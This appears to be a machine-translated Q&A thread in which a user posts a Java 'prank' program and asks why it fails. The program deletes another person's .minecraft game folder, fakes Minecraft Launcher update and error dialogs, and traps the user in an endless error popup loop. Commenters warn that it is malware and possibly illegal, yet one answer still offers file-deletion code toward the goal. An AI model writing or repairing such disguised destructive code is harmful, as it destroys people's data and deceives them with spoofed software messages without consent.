2016-03-24 7 views
-20

Ich habe endlos danach gesucht und kann nichts finden. Die Datei wird nicht gelöscht. Ich habe versucht, es in nur minecraft umbenennen, aber das wird immer noch nicht funktionieren.Java: Löschen Sie eine Datei, die mit "."

import javax.swing.JOptionPane;

import java.io.File;

public class justaprankbro {

public static void main(String[] args){ 
    int x; 

    File file = new File(System.getProperty("user.home") + "/AppData/Roaming/.minecraft"); 

    if(file.isHidden()){ 
     System.out.println("This file is hidden"); 
    }else{ 
     System.out.println("This file is not hidden"); 
    } 


    if(file.delete()){ 
      System.out.println(file.getName() + " is deleted!"); 
    }else{ 
      System.out.println("Delete operation is failed."); 
    } 



    JOptionPane.showMessageDialog (null, "A new Minecraft Launcher was released" + "\nPlease click OK to update", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE); 

    try { 
     Thread.sleep(5000);     //1000 milliseconds is one second. 
    } catch(InterruptedException ex) { 
     Thread.currentThread().interrupt(); 
    } 

    JOptionPane.showMessageDialog (null, "Unable to start the Minecraft Runtime Environment. This is most " + "\nlikely caused by a corruption. Please press OK to auto-fix.", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE); 

    try { 
     Thread.sleep(3000);     //1000 milliseconds is one second. 
    } catch(InterruptedException ex) { 
     Thread.currentThread().interrupt(); 
    } 
    JOptionPane.showMessageDialog (null, "Error: 34; minecraft failed to start, please" + "\npress OK to backup files and reinstall", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE); 

    for(x = 0; x < 1; x = 0){ 
     JOptionPane.showMessageDialog (null, "Fatal Error, please contact Mojang immidiately", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE); 
    } 
} 

}

+2

* "... Ich will diesen Streich auf sie machen ..." - Tu das nicht. Es ist gefährlich, sicherlich ein Verstoß gegen die IT-Richtlinien und möglicherweise ILLEGAL. –

+1

Wenn man bedenkt, dass '.minecraft' ein * Ordner * ist, ist es kein Wunder, dass es Probleme gibt, es zu löschen. Dies ist jedoch keine nette Sache, die man mit jemand anderem machen kann und fällt eher unter den Begriff * Malware * als ein Streich. – Petesh

+2

Löschen einer Datei auf einem anderen Computer ist wahrscheinlich illegal. Es ist wahrscheinlich illegal, eine elses-Datei auf einem freigegebenen System ohne Autorisierung zu löschen. Der entscheidende Faktor ist, ob Sie dazu autorisiert sind. Sie werden mit Ihrer Schule wahrscheinlich eher in Schwierigkeiten geraten als die Polizei, aber Sie müssen sich bewusst sein, was das Gesetz in Ihrem Staat/Land vorschreibt. –

Antwort

3

Verwenden der NiO-Paket statt:

import java.nio.file.Files; 
import java.nio.file.Path; 
import java.nio.file.Paths; 

Path p = Paths.get("/tmp/.minecraft"); 

if(!Files.exists(p)){ 
    Files.createFile(p); 
} 
if(Files.exists(p)){ 
    Files.delete(p); 
} 
+0

Warum ist das NiO-Paket besser? Funktioniert es auf die gleiche Weise? Was ist überhaupt Nio? – StealthVice7

+0

Es ist nicht grundsätzlich besser und die Verwendung der Standard-io-Paket ist in Ordnung, ich bin nicht sicher, woher kommt der Fehler, aber ein sauberes Beispiel für das Löschen von Dateien (beginnend mit a.) Könnte ein guter Ausgangspunkt sein. –

+0

Mein Programm funktioniert einwandfrei mit allen anderen Testdateien, die ich gemacht habe, aber nicht mit der Datei '.minecraft'. – StealthVice7

Verwandte Themen